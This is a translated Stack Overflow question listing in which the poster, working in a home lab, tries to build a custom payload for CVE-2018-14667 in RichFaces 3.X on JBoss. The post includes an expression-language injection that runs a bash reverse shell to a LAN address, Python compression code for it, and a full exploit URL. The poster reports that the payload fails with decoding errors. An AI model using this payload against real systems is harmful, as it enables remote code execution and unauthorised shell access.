小编Ger*_*ald的帖子

CVE-2018-14667;为 RichFaces 3.X 生成有效负载

我目前在虚拟机 JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo 上运行,这使我容易受到 CVE-2018-14667(只能从我的 LAN 访问)。我已经测试了https://seclists.org/fulldisclosure/2018/Nov/47 中提到的有效负载,它工作正常。现在,我试图弄清楚如何生成我自己的有效负载以获得反向 shell。

这是我目前发现的用于生成我自己的有效载荷的信息;

这需要通过 zlib 压缩:

#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}
Run Code Online (Sandbox Code Playgroud)

如何使用 zlib 进行压缩:

import zlib
import binascii

data = '#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}'

compressed_data = zlib.compress(data, 2)

print('Original data: ' +  data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Run Code Online (Sandbox Code Playgroud)

然后,使用 base64url 对压缩数据进行编码:

https://simplycalc.com/base64url-encode.php

然后像这样测试它:

http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1

不幸的是,每次我收到 HTTP 状态代码 500 时说:

javax.faces.FacesException:解码资源数据时出错

我整晚都在试图解决这个问题,但没有成功,所以我决定在这里问,也许我可以找到解决当前问题的方法。

任何帮助将不胜感激。

谢谢

- - 更新 - -

您可以在此处找到用 Java 编写的 PoC …

java jboss exploit richfaces

5
推荐指数
1
解决办法
779
查看次数

标签 统计

exploit ×1

java ×1

jboss ×1

richfaces ×1